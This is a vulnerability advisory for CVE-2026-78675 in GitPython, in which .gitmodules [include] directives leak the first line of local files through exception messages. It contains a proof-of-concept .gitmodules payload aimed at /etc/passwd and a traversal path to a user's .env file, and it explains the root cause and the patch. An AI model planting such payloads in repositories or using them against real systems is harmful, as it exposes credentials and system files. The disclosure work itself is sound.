high · 8.4CVE-2026-78675Sep 8, 2026

CVE-2026-78675: GitPython Local File Content Disclosure via .gitmodules [include] Directive

Pranav Khune
Penetration Testing Team Lead, SecureLayer7

Any tool that reads submodules from an untrusted Git repository can have the first line of any local file, think .env secrets or /etc/passwd, leaked into a Python exception message, just by calling…

PackageGitPython
Ecosystempip
Affected<= 3.1.58
Fixed in3.1.59
CVE-2026-78675: GitPython Local File Content Disclosure via .gitmodules [include] Directive

The problem

GitPython's SubmoduleConfigParser, used for every read of a repo's submodule configuration, inherits merge_includes=True from GitConfigParser. This means any [include] or [includeIf] directive inside a .gitmodules file is followed and merged automatically.

.gitmodules is fully attacker-controlled: it ships verbatim as tracked content inside any cloned repository. An attacker adds an [include] path = /etc/passwd (or any absolute path) to .gitmodules. When a victim calls repo.submodules, GitConfigParser opens the target file and, because it is not valid git-config syntax, raises configparser.MissingSectionHeaderError with that file's first line embedded verbatim in the exception message.

Submodule.iter_items() catches only IOError and BadName, not configparser.Error, so the exception propagates straight out to the caller, CI logs, error trackers, or any surface that echoes exceptions.

Proof of concept

A working proof-of-concept for CVE-2026-78675 in GitPython, with the exact payload below.

text
# Attacker plants this in their repo's .gitmodules before pushing/publishing:
[submodule "totally-normal-dep"]
	path = vendor/dep
	url = https://example.com/dep.git
[include]
	path = /etc/passwd

# Victim runs any of these (no submodule update/init needed):
# import git, configparser
# repo = git.Repo.clone_from("https://attacker.example/repo", "/tmp/victim")
# try:
#     list(repo.submodules)   # <-- triggers the bug
# except configparser.MissingSectionHeaderError as e:
#     print(e)  # prints: first line of /etc/passwd verbatim
#
# Relative traversal also works (no OS-level restriction applies):
# [include]
# 	path = ../../../../home/user/.env

The root cause is a parity gap between two config-parser construction sites. In 2023, commit 41ecc6a4 hardened Repo.config_writer() by passing merge_includes=False to its GitConfigParser. The fix never touched Submodule._config_parser(), which constructs SubmoduleConfigParser(fp_module, read_only=read_only) with no merge_includes argument, so the class default of True is inherited unchanged.

GitConfigParser.read()'s include-path resolution performs zero containment checks. An absolute path short-circuits the join entirely via osp.isabs(); a relative path is joined with osp.dirname(file_path) and normpath'd with no check that the result stays inside the repository.

The only gate before opening is os.access(include_path, os.R_OK), a readability check, not a path restriction.

Once opened, _read() raises configparser.MissingSectionHeaderError(fpname, lineno, line), and Python's stdlib formats that exception's str() to embed the raw first line of the target file. Because Submodule.iter_items() never catches configparser.Error, the message propagates directly to the caller.

CWE-73 (External Control of File Name or Path) and CWE-200 (Exposure of Sensitive Information) both apply. The fix in commit ef7568e3 passes merge_includes=False at the SubmoduleConfigParser construction site in git/objects/submodule/base.py, mirroring the 2023 hardening.

The fix

Upgrade to GitPython 3.1.59 or later. The patch (commit ef7568e3b317ce617eacda39b8b54dcdff8c3b5c, PR #2211) passes merge_includes=False when constructing SubmoduleConfigParser in Submodule._config_parser(), preventing .gitmodules from following any [include] or [includeIf] directives.

If you cannot upgrade immediately, avoid calling repo.submodules, Submodule.iter_items(), or any Submodule.config() read on repositories cloned from untrusted sources.

Reporter not attributed.

References: [1][2][3][4][5][6]

Related research